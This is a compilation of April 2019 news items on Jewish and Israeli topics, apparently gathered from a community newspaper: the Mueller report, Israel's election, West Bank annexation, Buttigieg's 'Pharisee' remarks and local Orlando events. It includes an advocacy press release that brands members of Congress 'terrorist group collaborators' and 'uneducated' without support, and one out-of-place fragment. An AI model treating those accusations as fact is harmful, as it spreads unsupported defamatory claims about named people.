details to what had been disclosed about its findings by Attorney General William Barr when Mueller concluded his investigation last month. The 448-page document, released after a nearly two-year long inquiry, says Mueller's investigation did not establish the Trump campaign "conspired or coordinated" with the Russian interference effort, which was described as "sweeping and systematic." The report drew no conclusion as to whether the president or his aides had engaged in obstruction of justice. Trump was more than pleased by the findings, praising the report and tweeting several times "No Collusion-No Obstruction" on Thursday. As expected, Democrats did not share the view, with congressional leaders calling for Mueller to testify before the House of Representatives and the Senate. The Jewish Telegraphic Agency combed through the report in search of Jewish links and tidbits. Here is what we found, including the story of an unusual gift that Jared Kushner received from the head of a Russian government-owned bank, the president talking about how he missed a former lawyer who was Jewish and how the transition team tried to influence a U.N. Security Council resolution on Israeli settlements. The head of a Russian government-owned bank brought Kushner an unusual gift. In November 2016, Russian Ambassador Sergey Kislyak requested a meeting with the president's son-in-law and senior adviser, according to the report. Kushner agreed and two weeks later the meeting took place, with Flynn joining as well. During the meeting Kushner said the incoming administration wanted "to start afresh with U.S.-Russian relations" and asked Kislyak for a contact close to Putin. In December, Kislyak asked for a second meeting, but this time Kushner wasn't as eager, instead saying one of his assistants, Avi Berkowitz, could attend in his stead. During that meeting, Kislyak told Berkowitz that he had a contact in mind for Kushner: Sergey Gorkov, the chairman of the Russian-government owned Vnesheconombank bank. Kushner met with Gorkov the next day. Seemingly eager to create a favorable impression, Gorkov brought with him two gifts. One, according to the report, was a painting. The other was a bag of soil from the town in Belarus where Kushner's family came from. Though the report does not elaborate on the gifts or how they were received by Kushner, the dirt was likely from Navahrudak, where his paternal grandparents, Reichel and Joseph Kushner, lived. During World War II, the town was occupied by the Soviet Union and then Nazi Germany, which turned it into a ghetto. Conditions were bad and the Nazis would come in at will and kill people. Kushner's grandmother escaped through a tunnel dug by Jews and lived in the woods for nine months with her sister and father. The report talks about the U.N. Security Council vote that condemned Israeli settlement. In December 2016, the transition team was concerned with an upcoming vote at the Security Council on a U.N. resolution condemning Israeli settlements, fearing-correctly, as it turned out-that the outgoing Obama administration would use the occasion to deliver a parting shot at an Israeli government with which it often disagreed. The report says that Trump and other members of the transition team were in touch with foreign government officials in an effort to get them to delay the vote or vote against the resolution. Kushner led the effort. Former National Security Adviser Michael Flynn was in touch with Russia multiple times about the vote and asked Russia to vote against or delay it, but ultimately Kislyak said Russia would not do so. Trump was in touch with Egypt, which postponed the vote by a day, but ultimately voted in favor of the resolution like all the other members of the council, except the United States, which abstained. Flynn would later plead guilty to lying to the FBI about his contacts with Kislyak regarding the Security Council resolution and other issues. Mueller looked into whether George Papadopoulos acted as an Israeli agent. In a section addressing whether any members of the Trump campaign were acting for foreign governments, it emerges that Mueller looked into whether George Papadopoulos, a former member of the president's foreign policy advisory panel, acted on behalf of the Israeli government. Papadopoulos and his wife had both previously made claims to the media that Mueller had probed his ties with Israel. The report confirms their accounts. "While the investigation revealed significant ties between Papadopoulos and Israel (and search warrants were obtained in part on that basis), the Office ultimately determined that the evidence was not sufficient to obtain and sustain a conviction under [the Foreign Agents Registration Act] or Section 951" of the tax code, the report reads. Papadopoulos, a Greek-American former Trump adviser, spent 14 days in federal prison last year for lying to the FBI. He has said he met with two Israeli businessmen in 2017 over a "routine" investment proposal. (Papadopolous had shown an interest in Israel's energy sector and in April 2016, just days after he was named to the Trump campaign, attended an energy conference in Israel.) Papadopoulos later accused the two men of trying to frame him. He said that an Israeli, George Tawil, introduced him to Shai Arbel, who co-founded the Israeli cyber intelligence company Terrogence, as part of a scheme to plant marked hundred dollars bills on him in order to incriminate Papadopoulos when FBI agents searched his luggage upon his return to the United States. A Russia-born think tank CEO warned Kushner about not highlighting Russia during the presidential campaign. From April 2016 until the election, Kushner was in contact and met with Dimitri Simes, the Russia-born CEO of the Washington, D.C.-based think tank Center for the National Interest. Simes, who advised Kushner on foreign policy, warned him about making sure Russia did not become an issue that could hurt Trump's campaign. "Simes raised the issue of Russian contacts with Kushner, advised that it was bad optics for the Campaign to develop hidden Russian contacts, and told Kushner both that the Campaign should not highlight Russia as an issue and should handle any contacts with Russians with care," the report reads. The report also describes a meeting between the two men in August 2016, during which Simes "provided Kushner the Clinton-related information that he had promised." The next few lines of the report, which describe the information, have been blacked out for "personal privacy." However, it states that Simes had previously written in a memo to Kushner about information regarding what he called "a well-documented story of highly questionable connections between Bill Clinton" and the Russian government. Kushner forwarded that memo to senior campaign staffers with the message "suggestion only." Trump longs for his old lawyer Roy Cohn. On March 3, 2017, the day after then-Attorney General Jeff Sessions recused himself from the Russia inquiry, former White House counsel Don McGahn met with Trump, Chief of Staff Reince Priebus and chief strategist Steve Bannon in the Oval Office. The president was angry at the Sessions recusal, saying "I don't have a lawyer," and mentioning how previous attorneys general had protected the presidents under whom they served. Trump then told McGahn that he wished he had Roy Cohn, the late Jewish lawyer and notorious political fixer-not to be confused with Michael Cohen, the Jewish attorney who also served Trump as a fixer-working for him. Priebus recalled that the president described Cohn as a winner and a fixer, that Cohn would win cases for him that had no chance, and that Cohn had done incredible things for him. Kushner tried to stay in the room before Trump fired Comey. At 4 p.m. on Feb. 14, 2017, following a Homeland Security briefing, Trump dismissed those gathered and asked to speak alone to FBI Director James Comey. Sessions and Kushner lingered, but the president "shooed them away," along with Priebus, who had attempted to enter the room. In an interview with The New York Times on July 17, 2017, the president denied that he shooed anyone out of the room, and then deflected by asking his granddaughter Arabella Kushner, who had just entered the interview room, to say hello to the reporters in Chinese. The Mueller report, however, concludes that "Despite those denials, substantial evidence corroborates Comey's account." JERUSALEM (JTA)Israels election on Tuesday was contentious, historic, crazyand somewhat predictable. Benjamin Netanyahu seems poised to become the longest-serving prime minister in Israels history, with the help of his strengthened right-wing parliamentary bloc. But that didnt mean the results didnt bring some surprises. Here are the big takeaways. 1. Two winners? No Israeli party had ever garnered more than a million votes in an election, but two did on Tuesday: Netanyahus Likud Party, and former Israeli military chief of staff Benny Gantzs centrist Blue and White Party, which included the other prominent politicians Yair Lapid and Moshe Yaalon. They won the same amount of seats35but Netanyahus right-wing coalition is better positioned to form a government. Still, Gantzs showing was impressive, and his bloc could become a formidable opposition in the years to come. Theres also always the chance that Netanyahu forms a unity government, joining with Blue and Whitebut that is unlikely. 2. Orthodox parties keep getting stronger Two haredi Orthodox parties have gained seats in the new Knesset, or parliament, and reportedly have pledged to support Netanyahu in the prime minister sweepstakes. The Sephardic Orthodox Shas Party gained one seat for a total of 8, and the United Torah Judaism Party gained two seats also for a total of 8. Their combined 16 votes could put them in the drivers seat when it comes to legislation dealing with a host of issues they care about, such as the enlistment of yeshiva students, public transportation on Shabbat and the push for egalitarian prayer at the Western Wall. 3. Arab parties are getting weaker In the last election, the Arab parties joined together and called themselves the Joint List. They won 13 seats in that election. This time around, however, squabbles split the list into separate parties. Two Arab party coalitions made it into the new Knesset: The Hadash-Taal list received 6 seats and the Raam-Balad List barely squeaked past the electoral threshold of 3.25 percent of the total vote to garner 4 seats, for a total of 10 seats representing Arab-Israelis. But Arab voter turnout was historically lownearly half the traditional rate. That was despite calls by Arab politicians and religious leadersthe latter of which took to muezzins to encourage the public to vote. One reason was likely disgust with the parties that ran in the 2019 election, for not being able to find a way to continue together as the more powerful Joint List. Some were also disappointed with the parties inability to prevent pieces of legislation such as the nation-state law, which codified Israel as a Jewish state. Election Day reports also showed that some 1,200 cameras were placed in Arab polling stations by the Likud Party, which claimed it was protecting against voter fraud. Arab leaders said tactic intimidated members of the Arab community and kept them from the polls. 4. Not a great day for women If nothing big changes in the coming days, the new Knesset will have the same number of women as the last: 29 out of 120. That places Israel in 76th place internationally, in terms of womens representation in government, down from 66th place in 2015. 5. A worse day for two right-wing stars Two of Israels most prominent and outspoken right-wing lawmakers will likely not make it into the next government: Education Minister Naftali Bennett and Justice Minister Ayelet Shaked. The pair broke away from the Jewish Home Party, formerly headed by Bennett, to form The New Right Party, which they called a party based on a full and equal partnership between Orthodox and secular Israelis. The party was designed to give secular right-wingers a comfortable place to put their vote, and increase the size of the right-wing bloc. The attempt seems to have backfired: The Jewish Home Party, which joined with the Kahanist Otzma Yehudit, or Jewish Power, party and the National Union Party for the 2019 vote, had 5 seats in the last Knesset, and earned the same number again. But The New Right do not appear to have passed the electoral threshold of 3.25 percent of the total vote. 6. A let-down for stoners too In the last few months leading up to the election, Moshe Feiglin was hailed as one of the most important players in any upcoming Knesset coalition. He seemed to be attracting a large following of young people with his libertarian policiesincluding support for full legalization of marijuana. But his Zehut party also failed to pass the electoral threshold. (Feiglin, like Bennett, has said that the soldiers ballots will push him over the line.) 7. Voter turnout overall was a little low The final total voter turnout was 67.9 percent of eligible Israeli voters, down nearly 4 percentage points from 71.8 percent from the last election in 2015. This was despite the fact that Election Day is a national holiday, and all public transportation between cities was free to help people to get to their polling places. More than 150,000 Israelis managed to visit national parks on Election Day, hopefully after they went to the polls. 8. One man makes the final decision Israels president, Reuven Rivlin, gets to decide which party head gets a chance at forming the new government. With Likud and Blue and White tied at 35, or even if that total changes by a seat or two in either direction, Rivlin will look at which leader will be more likely to be able to form a government. In order to do so, Rivlin will meet with each party head and ask who he or she (there is one sheTamar Zandberg of the liberal Meretz Party) will recommend to lead the government. Rivlin on Wednesday announced that the consultations will be broadcast live, and the party heads will be able to give official statements at a press center set up at the presidents residence. The post-election press center is nothing new, but the live broadcast certainly is, and is being done in the name of transparency, according to a statement from the Presidents Office. During the campaign, Netanyahu told members of the Likud in a statement captured on tape that Rivlin is just looking for an excuse to tap Gantz to form the next governmentso the end of this process could be interesting. 9. What comes next? During his upcoming term, Netanyahu will become the countrys longest-serving prime minister, and it looks like his coalitionprojected to be 65 seats, giving him a strong 10-seat cushion over the oppositionwill allow him to govern comfortably and effectively. Still, there will be big bumps for him along the way. Netanyahu promised at the very end of the campaign to annex the West Bank. If he does so, hes certain to provoke an enormous amount of international scrutiny, especially since the move would likely mean the end of a traditionally formulated two-state solution to the Israeli-Palestinian conflict. The Trump administration is slated to roll out its Middle East peace plan not long after the dust settles from the election, and all signs have indicated that it will include full Israeli control of the West Bank. Finally, Netanyahus apparent crowning as King Bibi does not mean that his corruption scandals and looming indictments are going to go away. News reports the day after the election indicated that Attorney General Avichai Mandelblit, who announced in February that he would indict Netanyahu in three cases, pending a pre-indictment hearing, would schedule that hearing for some time in the coming three months. Netanyahu denies any wrongdoing in the cases. (Nashville, Tenn.)Evangelical leader Laurie Cardoza-Moore has called out the ill-informed Congresswoman Alexandria Ocasio-Cortez for trivializing the memory of the Holocaust by tweeting a statement by Pastor Martin Niemoller in defense of the anti-Semite and Muslim Brotherhood terrorist group collaborator Ilhan Omar. The statement AOC quoted was written by Niemoller who lived under the Nazi regime and used his influence to defend the innocent victims of his government. In contrast, Ilhan Omar is a collaborator of the Muslim Brotherhood which historically supported the Nazis then, and is aggressively seeking the destruction of Israel and America now. Ocasio-Cortezs tweet appeared on April 13 after President Trump tweeted a video of Omar belittling the 9/11 attacks at a Muslim Brotherhood (CAIR sponsored) terrorist fundraising event in which she described the worst terror attack on American soil as some people, did something. PJTN has added the names of Alexandria Ocasio-Cortez and Rashida Tlaib to their Ilhan Omar petition calling for their removal from Congress in addition to Omar as they are now working in unison to achieve the same goals. The petition has already amassed tens of thousands of signatures. Laurie Cardoza-Moore, president of Proclaiming Justice to The Nations (PJTN) and host of the award-winning Christian television program Focus On Israel that reaches a global weekly audience of over 2 billion viewers worldwide stated: If Ocasio-Cortez is going to quote someone from the Nazi-era to support Omar, she needs to quote a Nazi collaborator! Niemoller was against the Nazis and used his influence to mobilize the Germans against them. Cardoza-Moore went on to say, Are Ocasio-Cortez, Omar and Tlaib an example of the growing number of uneducated graduates from U.S. schools? God help us! You just cant make this stuff up! They have no clue about history! Or worse, are they actively engaged in a Goebbels-style media propaganda war in order to re-write history? Cardoza-Moore continued: Alexandria Ocasio-Cortez is a traitor to her Sephardic Jewish ancestors and the memory of all of us from Hispania whose ancestors were tortured and murdered during the Spanish Inquisition. Her tweet equating the Presidents criticism of Ilhan Omar with Nazi-era Jews facing extermination by the Third Reich is absolutely pathetic! Not only was her statement not befitting of a U.S. lawmaker, but it is also an embarrassment to our ancestors and shows her lack of education. She needs to stand down and Americans of Hispanic/Latino descent need to join me in calling her out! The three uneducated Congresswomen that arose from the anti-Semitic, un-American, Womens March are waging an unholy war in Congress to belittle the Holocaust, normalize anti-Semitism, mainstream anti-Americanism and whitewash Islamism. We the people, especially women of Hispanic-Latino descent, will not idly stand by as subversive forces openly work to destroy our country from within. The President has taken the first step by making his voice heard on the issue. Now its time for him to act to oust them from Congress. We are still awaiting an investigation by the Justice Department into Ilhan Omars fundraising activities for CAIR and Islamic Relief USA (IRUSA). Both Muslim Brotherhood front groups. Cardoza-Moore concluded: As a descendant of Sephardic Jewish immigrants, I refuse to stand by while these women perpetuate a climate of anti-Semitism. They do not speak for immigrants, for women or for the under-privileged. Ocasio-Cortez is a disgrace to Latinos, a disgrace to women and a disgrace to America. Its time these three anti-Semitic uneducated women were marched out of Congress once and for all. Like to ride a two-wheeler? Please join the Congregation Ohev Shalom Pedalers for their next Sunday bike ride on the popular Seminole Wekiva trail, Sunday May 5, starting at 8:30 a.m. The Pedalers will meet at the San Sebastian Trailhead off of SR 436 in Altamonte Springs and head north for 13 miles through Seminole County to just south of SR 46 near Sanford. Men, women and teens can all participate in this social, non-competitive bike ride. The ride start and ends at the same location. Pedalers who want a shorter ride, can stop at Panera, 7 miles from the ride start point for rest and refueling. COS Pedalers is sponsored and supported by the COS Mens Club. COS Pedalers Sunday bike ride schedule: May 58:30 a.m. depart time June 28 a.m. depart time July 78 a.m. depart time Aug. 48 a.m. depart time Sept. 18 a.m. depart time Oct. 18:30 a.m. depart time Jewish Academy of Orlando held a Disney-themed Passover model seder for its students, parents and guests. The students told the story of Passover in a traditional way with the four questions, traditional meal, and songs. The Disney-themed costumes, songs, and decorations added to the excitement. Students dressed as their favorite Disney characters including Peter Pan, Mickey, Captain Hook, and the princesses; even the faculty and staff participated. From the Mickey Mouse Club to Pocahontas and The Lion King, the students sang Passover-themed songs set to Disney melodies to tell the story. The Kindergarteners performed the traditional four questions while the first graders acted out the ten plagues. Before dipping the maror in the charoset, the students sang a parody called a "Spoon full of Charoset," from Mary Poppins. To welcome Elijah, the students sang a parody of "Be Our Guest" from "Beauty and the Beast." "The seder requirement/commandment is to tell the story of Passover," said head of school Alan Rusonik. "Our goal was to do so in a way that engaged every student. By using the Disney songs we were able to tell the story in a fun and exciting way that related to students of all ages." Rusonik added, "Last year's Harry Potter seder was a resounding success, as it too told the Passover story in an extremely engaging way. We had to top it with a theme that truly excited our students. Thanks to our amazing faculty who pulled off yet another amazing seder!" Jewish Academy of Orlando serves central Florida students of all faiths from grades kindergarten through fifth. The school delivers a whole-child education fostering academic excellence and character education rooted in Jewish values. Jewish Academy of Orlando is accredited by the Florida Council of Independent Schools. Beginning in fall of 2019, the school will offer a transitional kindergarten. To learn more about Jewish Academy of Orlando, please visit: jewishacademyorlando.org or follow the school on Facebook facebook.com/JewishAcademyOrlando. (JTA)One week after winning election to a fifth term as Israels head of state, Prime Minister Benjamin Netanyahu was named to Time magazines list of the 100 most influential people. Other Jewish people on the list include: Facebook founder Mark Zuckerberg; Jennifer Hyman, whose $1 billion company Rent the Runway allows subscribers to rent designer clothing online; and Leah Greenberg and Ezra Levin, who started the progressive activism group Indivisible. Israel grows more prosperous. It grows more powerful, Time columnist David French wrote for his entry for Netanyahu in the Leaders category. And as the election shows, sufficient numbers of Israelis believe not just that Netanyahu is partly responsible for that success but that hes the nations indispensable man. Hyman is a mentor dedicated to advocating for women, designer Diane Von Furstenberg wrote in her entry in the Titans category. In his tribute to Mark Zuckerberg, also in the Titans category, Facebook founding president Sean Parker wrote: Mark may have changed the world more than any living person, so its surprising how little success has changed him. He added that Zuckerberg will have to make hard choices in order to keep the social media platforms openness while staying clear of privacy abuses. My hope is that he remains true to the ideals upon which the company was foundedchoosing to promote universal values like decency over sensationalism, intimacy over social status, and human dignity over tribalismor in Zuckspeak, simply: goodness, he wrote. Indivisible, founded by Greenberg and Levin, who are married, is a powerful network of folks ready to fight for justice and inclusion in health care, at our borders and in the Supreme Court, Massachusetts Rep. Ayanna Pressley wrote. The organization draws on the local grassroots tactics of the conservative Tea Party movement to advocate against President Trump and his policies. I see myself as being part of a tradition of Jews organizing for social justice, and recognizing that our own status of a minority group that has been persecuted calls on us to support others who are under attack, Greenberg, a Reform Jew, told the Jewish Telegraphic Agency in 2017. Israeli actress Gal Gadot wrote the entry about Dwayne Johnson, who was honored in the Artists category. If you have had the pleasure to work with him, as I have on the Fast and Furious films, you know that he is full of heart and creates an environment on set filled with warmth and positivity, she wrote. Negotiations need to speed up. We want to conclude them as school is beginning next year, Sharkey said. We think its bad for our schools if we dont conclude negotiations. We deserve to know that were going to be staffed, how were going to be programmed, and we think theres political will to do it. Lets get it done. (JTA)Just days before Israel was to hold national elections, Prime Minister Benjamin Netanyahu promised to annex parts of the West Bank as Israeli territory. Im going to extend sovereignty, he said in an interview with Israeli Channel 12 on Saturday night, adding that I dont differentiate between the settlement blocs and isolated settlements. The campaign promise is a last-minute bid to draw right-wing votes in a tight election race. But what does annexing West Bank settlements mean? How would it affect Israeli-Palestinian peace talks, and the general geography of the Jewish state? Will it actually happen? Heres what you need to know. What is the West Bank? The West Bank is a territory sandwiched between Israel and Jordan named for its location: the western bank of the Jordan River. About 2.5 million Palestinians and 400,000 Jewish Israelis live there. Jordan conquered the West Bank after Israels 1948 War of Independence. Then Israel captured the territory from Jordan in the 1967 Six-Day War, but never fully annexed it into the country. So for more than 50 years, the West Bank has been controlled by Israel, but its status has been under debate. The debate is over who should control the area in the future. Palestinians, most of the international community and the Israeli left see it now as occupied Palestinian territory. They say Israels control is illegal and want the West Bank (or nearly all of it) to be the site of a Palestinian state. But Israels government says it rightfully controls the West Bank. So is the West Bank part of Israel? Not officially, no. The State of Israel has controlled the area, sometimes known in Israel by its biblical name, Judea and Samaria, for half a century without annexing it. That is what could change if Netanyahu makes good on his promise. Many Israelis believe its already part of the country. The Israeli right, and some Israel supporters abroad, see the West Bank as disputed territory that doesnt belong to Palestinians. They say Israel controls it legally because it was won in a defensive warthe third in the countrys first 20 years of existence. And religious Zionist Israelis (who are mostly on the right) often talk about the West Bank as the heartland of the biblical Land of Israel. Historically, and by Jewish tradition, this is where the Jewish patriarchs lived and where many of the events of the Bible took place. Hold on. So it isnt technically part of Israel, but Israelis live there? Yes: Welcome to the settlements. After Israel conquered the West Bank, groups of Jews from left to right established villages there. Some of the settlements deep in the West Bank are fiercely ideological and religious communities. Many others are middle-class suburbs of Jerusalem and Tel Aviv, distinguishable from pre-1967 Israel only by their location and some added security measures. Most of the big settlements (and most of the settlers) are close to the Green Linethe name for the internationally agreed-upon border between the West Bank and Israel. The total population of the settlements has grown to more than 400,000 today. Most of the international community sees the settlements as illegal. Palestinians see the settlements as colonies that prevent them from achieving statehood, and blame the residents there for inflicting violence on them. The settlers and their defenders see the settlements as a security bulwark against Palestinian terrorism in the West Bank and Israel. And Israels government sees the settlements as legitimate. Religious Israelis say that the settlements are a manifestation of Jews returning to the land God gave them. Where does that leave the Palestinians? Heres where it gets even more complicated. Palestinians do not have citizenship in Israel, the right to vote and freedom of movement. They are under varying degrees of Israeli control. For about 25 years, the West Bank has been divided into three areas. Area A is fully under Palestinian controlrun by Palestinian institutions, guarded by Palestinian security forces and subject to Palestinian laws. The Israeli army does conduct operations there, but its presence is relatively minimal. Area B is mixed: subject to Palestinian civil laws, but under the control of the Israeli army. The vast majority of Palestinians live in Areas A and B. Area C is everything else, and its fully controlled by the Israeli army. This is where all of the settlers, and a small number of Palestinians, live. It takes up about 60 percent of the West Banks total land area. The three areas arent neatly sliced. They are interspersed with each other in a maze-like tapestry. How would annexation change things? Annexation would make some or all of the settlements officially part of Israel. This is a huge deal. For 50 years, Israel has been holding the West Bank in a kind of temporary capacity and repeatedly has offered to cede nearly all of it in a peace agreement. This would make the annexed settlements as much a part of Israelunder Israeli lawas Tel Aviv. In Israels eyes, there would be no difference between the annexed settlements and the rest of the country. The international community would likely protest annexation, and strongly, and Palestinians almost surely would. Commanders for Israels Security, a group of retired Israeli military officers that supports establishing a Palestinian state, predicts that annexation will lead to the collapse of the Palestinian Authority, which governs the Palestinian areas of the West Bank. The group says annexing all of the settlements will cost Israel $2.35 billion. On the ground, little would likely change in the Palestinians daily livesat least initially. Likewise, if Israel annexes only the settlements, and not the Palestinian areas, it would still leave the Palestinians in the same situation. They would be living in enclaves in the middle of an enlarged Israel, but without Israeli citizenship. As for the settlers, they already live under Israeli law, and Israelis have little problem traveling to and from the settlements. If anything, it will make construction in the settlements easier to conduct. Why is this coming up now? Two reasons: Israeli elections and Donald Trump. Netanyahu is in a close race for re-election and wants to shore up his base. During the last campaign, in 2015, he did that by saying he would not establish a Palestinian state. The annexation pledge takes him one step further to the right. Its a play to draw voters away from smaller parties that are running even further to Netanyahus right, like the New Right Party headed by Naftali Bennett and Ayelet Shaked, two of Netanyahus longtime frenemies. The annexation promise also comes a few weeks after President Trump recognized Israels annexation of the Golan Heights, another controversial (although less so) territory that Israel captured in 1967. Israel annexed the Golan Heights in 1981, but no U.S. president officially recognized the move. Netanyahu saw Trumps Golan decision as a signal that annexation, in a broader sense, is kosher now. Everyone says you cant hold an occupied territory, but this proves you can, Netanyahu told reporters. If occupied in a defensive war, then its ours. What would this mean for Israeli-Palestinian peace? If you support a Palestinian state, this is bad news. In the past, Israel has offered to withdraw from nearly all of the West Bank in exchange for a peace agreement. But making much of the West Bank part of Israel would foreclose the possibility that it would one day become part of a state of Palestine. Dennis Ross, a former U.S. negotiator in Israel, tweeted that after annexation, Palestinians would abandon hope of their own state and start demanding full citizenship and rights in Israel. What are Israelis saying about it? Some Israelis on the right have been advocating annexation for years. In 2012, Bennett proposed a full annexation of Area C. And most of the politicians in Netanyahus Likud party support some form of annexation. Netanyahus centrist opponent in the election, Benny Gantz, has not commented on the prime ministers statement. Hes focusing his fire instead on the corruption allegations against Netanyahu and a bunch of other issues. But Tamar Zandberg, the chairwoman of the left-wing Meretz party, said Gantz should condemn the annexation vow. Annexing the settlements is dangerous for the state of Israel and an end to the vision of two states, she tweeted Saturday, adding that she would push for negotiations instead of annexation. What are Palestinians saying about it? The Palestinian Authority hasnt seen Netanyahu as a reliable negotiating partner for years. In 2017, after Trump recognized Jerusalem as Israels capital, the P.A. stopped talking with the United States because it sees eastern Jerusalem as a future Palestinian capital. And its threatened to stop cooperating with the Israeli army on security in the West Bank. So the top Palestinian negotiator, Saeb Erekat, called Netanyahus annexation promise just one more Israeli violation of international law. Such a statement by Netanyahu is not surprising, he said in a statement. Israel will continue to brazenly violate international law for as long as the international community will continue to reward Israel with impunity. So will annexation happen? Who knows? If Netanyahu loses, the annexation promise will probably go with him. And even if he wins, hell need the support of the other parties in his government coalition to pass any lawsespecially something this major. So it all depends on what happens Tuesday. Polls show the race neck and neck. By Ariel Ben Solomon (JNS)The Mideast peace plan soon to be presented by the U.S. administration is likely not going to get very far upon its initial presentation, but it could provide Israeli Prime Minister Benjamin Netanyahu and U.S. President Donald Trump with an opportunity to alter the dynamics of the conflict. Itamar Marcus, founder and director of Palestinian Media Watch, told JNS in an exclusive interview that the Palestinian Authority will definitely reject the upcoming U.S. backed peace plan, and that past Palestinian behavior does not lend support to any chance of compromise. The plan offered by former Israeli Prime Minister Ehud Olmert was, according to PLO chief negotiator Saeb Erekat, extremely generous by offering P.A. leader Mahmoud Abbas 100 percent of the land area he demanded, the division of Jerusalem and the acceptance into Israel of 150,000 refugees, yet Abbas rejected it. The Trump plan is bound to offer the Palestinians much less, so rejection is certain. PMW monitors and reports on the activities and statements of the Palestinian leadership daily. It continues to warn about the P.A.s ongoing hate and terror incitement, especially in the education of Palestinian youth, and the P.A.s continued denial of Israels right to exist and anticipation of its destruction. The root of the conflict is not merely territorial. A poll by ADL in 2014 found that Palestinians showed the highest levels of anti-Semitism in the world, and PMW was not at all surprised by this finding. The anti-Semitism taught through official P.A. structures promote the worst hatred imaginable, including the message that the Jews are the fundamental evil force in the world and therefore need to be eliminated for the benefit of all humanity, said Marcus. For example, a P.A. preacher on official P.A. TV said in December that Jews pass on evil in their genes: Humanity will never be able to live with them count them and kill them one by one. Marcus sees the conflict as continuing until the Palestinians change their culture of hate. Until that happens, talk of land for peace is a recipe for more tragedy. Israel has paid with many deaths every time we followed the land for peace formula since the signing of the Oslo Accords. P.A. will change only if its forced to change Marcus spends much of his time traveling and speaking to world parliaments and government officials in order to educate them about what is really going on inside Palestinian society under direction of the its leaders. He recently visited parliaments in the Netherlands, Sweden, Norway and Canada. They have heard of Palestinian incitement, but until they actually meet with me, they dont realize the full extent and danger of P.A. indoctrination to hate and terror. I show them that the fundamental P.A. ideology regarding Israel is not that different from Hamas, including denying Israels right to exist, rewarding terrorists and naming schools and sporting events after murderers. However, the P.A. leaders policy of duplicity has been very successful, and much of the international community thinks they are peace-promoting, continued Marcus. His goal is to reach and influence international decision-makers. The only way the P.A. will ever change is if they lose international support and are forced to change. Marcus cites PMWs main objectives: First, to stop Israels isolation around the world and to convince governments to stop pressuring Israel to make concessions, which has proven to be detrimental. And second, which is more long-term, is to have real change in the Palestinian world. The only way this will happen is when the international community starts treating the P.A. like a terror-supporting entity and isolates them politically. Once the P.A. stops being artificially propped up by the international community, the Palestinian people may eventually rise up against their corrupt leadership and replace them with better leaders. Not only the Israeli government, but many governments and legislators around the world, including Trumps advisers, receive regular updates from PMW, and some of them tweet PMW findings to their followers. Peace will be built through people-to-people contacts Asked if Netanyahu and Trump are likely aware of the probable Palestinian rejection of the upcoming proposal and are planning to move forward with Netanyahus campaign promise of extending sovereignty to the West Bank, Marcus replied that if this occurred, he predicts that Palestinian opposition would not be that explosive, despite likely attempts to incite violence by Abbas. Abbas and his official P.A. media tried to incite violence when the United States moved its embassy to Jerusalem, but it didnt succeed, said Marcus. The proposal to extend Israeli law to Israeli cities in Judea and Samaria wont change daily life on the ground, and for most Palestinians will just be a technical issue that they read about, he argued. On the other hand, if such a move could lead to more business cooperation between Israelis and Palestinians in the West Bank, it would benefit everyone, he predicted. Such cooperation is already strong and growing, according to Marcus, who notes that these projects dont get the publicity they deserve. Marcus has his own formula for peace: Peace will be built through people-to-people contacts and not by politicians working over texts of peace agreements. In 1996, following 30 years of Israeli administrationand daily contact between Israelis and the Arab populationthe most important Palestinian pollster found that Palestinians thought that Israel was the best in the world in democracy and human rights, compared to the U.S., France and the P.A. itself. Marcus added that was because from 1967 to 1994, borders were open, and there was no Palestinian Authority to poison the minds of the population. A peace plan that has a chance to work today must increase cooperation and contact between Palestinians and Israelis of all ages, and change all the fundamentals of P.A. education and public messaging. Marcus went on to conclude: Once the Palestinian population is no longer taught that Jews are monkeys, pigs and the enemies of Allah, and this is replaced with belief in the value of peace with Israel and seeks the benefits cooperation with Israel, serious talk about political arrangements can begin. Until this happens, theres no point to politicians wasting their time drawing new lines on maps and participating in meaningless chatter about a future peace agreement that P.A. leaders have no plans to accept or implement. (JNS)House Speaker Nancy Pelosi (D-Calif.) said on Tuesday that the Democratic Party has no taint of anti-Semitism amid such remarks coming from congressional members, especially Rep. Ilhan Omar (D-Minn.), whom Pelosi said is not an anti-Semite. I dont think that the congresswoman is anti-Semitic, Pelosi told CNN. House Speaker Nancy Pelosi says she doesnt think Rep. Ilhan Omar is anti-Semitic: I wouldnt even put those in the same category. She criticizes President Trump for his tweet, saying he used video of 9/11 as a political tool. He was wrong to do that. https://t.co/MBNC5XRdB0 pic.twitter.com/Y7vhKkf7AK CNN (@CNN) April 16, 2019 Instead, Pelosi blasted President Donald Trump for tweeting a video, criticizing Omar for labeling at the Council on American-Islamic Relationss Greater Los Angeles branch last month the 9/11 attacks as some people did something. The speaker said the president used the video as a political tool. In terms of Jew hatred in her party, Pelosi said, We have no taint of that in the Democratic Party, and just because they want to accuse somebody of that doesnt mean... that we take that bait. On Tuesday, Trump expressed no regrets about posting the video. No, not at all. Look, shes been very disrespectful to this country, and shes been very disrespectful to Israel, Trump told KSTP-TV in Minneapolis. She is somebody who doesnt really understand life, real life, what its all about. Its unfortunate, shes got a way about her that is very, very bad, I think for our country, he added. I think she is extremely unpatriotic and extremely disrespectful to our country. (JTA)-Pete Buttigieg has a word he likes to use to describe Vice President Mike Pence: "Pharisee." Jewish scholars would like him to stop doing that. Buttigieg, the 37-year-old mayor of South Bend, Indiana, running a dark horse campaign for the Democratic presidential nomination, has advanced the idea of liberal candidates using religious language to talk about their values. The flip side of that, Buttigieg says, is that Republican leaders don't practice the religious values they preach. He takes particular aim at Pence, who often speaks of his own conservative Christian values while serving under President Donald Trump. Buttigieg has criticized Trump for paying off an adult film actress with whom he allegedly had an affair. Buttigieg believes that reeks of hypocrisy, so he uses an age-old Christian metaphor for hypocrites: the Pharisees. "There's an awful lot about Pharisees in there," Buttigieg told The Washington Post this week, referring to the New Testament while discussing Pence. "And when you see someone, especially somebody who has such a dogmatic take on faith that they bring it into public life, being willing to attach themselves to this administration for the purposes of gaining power, it is alarmingly resonant with some New Testament themes, and not in a good way." The Pharisees were one of several Jewish sects during the first century, the time of Jesus. They also include the rabbis of the Talmud and the creators of Rabbinic Judaism, the ideological ancestor of mainstream Jewish practice today. But in Christian discourse, the Pharisees have taken on the role of "hypocrites, fools and a brood of vipers, full of extortion, greed, and iniquity," wrote Amy-Jill Levine, a professor at the Vanderbilt University Divinity School, in an article in Sojourners magazine. That's because the New Testament Gospels say Pharisee leaders criticized Jesus, and then lambaste them for hypocrisy. "The teachers of the law and the Pharisees sit in Moses' seat," reads Matthew, chapter 23. "So you must be careful to do everything they tell you. But do not do what they do, for they do not practice what they preach." Buttigieg repeated that idea in an appearance last month on ABC's "The View," again right after talking about Pence. "The Bible is full of-it talks about this," he said. "It talks about 